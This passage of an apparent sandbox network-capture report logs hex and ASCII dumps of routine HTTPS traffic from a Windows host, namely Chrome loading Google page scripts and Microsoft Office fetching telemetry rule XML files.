1ee2)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-08 14:38:19 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-08 14:38:19 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-08 14:38:19 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-08 14:38:19 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-08 14:38:19 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 32 33 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 33 39 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700323,3701384,102118939],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window
2024-12-08 14:38:19 UTC	592	IN	Data Raw: 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 Data Ascii: Array(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this
2024-12-08 14:38:19 UTC	412	IN	Data Raw: 31 39 35 0d 0a 7d 7d 3b 5f 2e 4f 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4e 64 28 5f 2e 4a 64 3f 5f 2e 4a 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 53 64 2c 66 65 2c 52 64 2c 54 64 2c 59 64 3b 5f 2e 50 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 51 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 Data Ascii: 195}};_.Od\u003dnew _.Nd(_.Jd?_.Jd.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Sd,fe,Rd,Td,Yd;_.Pd\u003dfunction(a){return a\u003d\u003dnull?a:Number.isFinite(a)?a\|0:void 0};_.Qd\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a
2024-12-08 14:38:19 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 52 64 29 72 65 74 75 72 6e 20 61 3b 74 72 79 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 63 5c 75 30 30 33 64 5c 75 30 30 33 65 63 3b 61 5c 75 30 30 33 64 52 64 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 Data Ascii: 8000\u003dnull;if(!Rd)return a;try{const b\u003dc\u003d\u003ec;a\u003dRd.createPolicy(\"ogb-qtm#html\",{createHTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return
2024-12-08 14:38:19 UTC	1390	IN	Data Raw: 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 59 64 5c 75 30 30 33 64 2f 5e 5c 5c 73 2a 28 3f 21 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 6c 65 2c 70 65 2c 68 65 3b 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 68 65 28 5f 2e 69 65 28 61 29 29 3a 66 65 7c 7c 28 66 65 5c 75 30 30 33 64 6e 65 77 20 68 65 29 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 Data Ascii: return this.i+\"\"}};Yd\u003d/^\\s(?!javascript:)(?:[\\w+.-]+:\|[^:/?#](?:[/?#]\|$))/i;var le,pe,he;_.je\u003dfunction(a){return a?new he(_.ie(a)):fe\|\|(fe\u003dnew he)};_.ke\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49717	142.250.181.68	443	2448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:18 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-08 14:38:19 UTC	933	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 08 Dec 2024 14:38:19 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-08 14:38:19 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-08 14:38:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:18 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:19 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c11b12be-901e-0048-4704-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143819Z-r1cf579d7789trgthC1EWRkkfc000000068g000000005n6v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:19 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:18 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:19 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2b116ba0-201e-0051-0503-487340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143819Z-r1cf579d77867vg8hC1EWR8knc00000005fg000000003vvh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:19 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:18 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:19 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b9950e54-401e-0015-4806-480e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143819Z-r1cf579d778dfdgnhC1EWRd3w000000005dg000000004gu8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:19 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:18 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:19 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 3fcd35f4-e01e-0052-4b02-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143819Z-r1cf579d7788pwqzhC1EWRrpd800000005yg000000001rb5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:19 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:18 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:19 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: a36b2733-e01e-0051-6f03-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143819Z-r1cf579d778bb9vvhC1EWRs954000000055g00000000558t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:19 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49725	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:20 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4a 5a 7a 77 67 57 65 45 77 45 2b 51 57 58 53 79 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 39 37 31 61 66 31 37 39 35 61 34 65 61 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: JZzwgWeEwE+QWXSy.1Context: 3c971af1795a4ea0
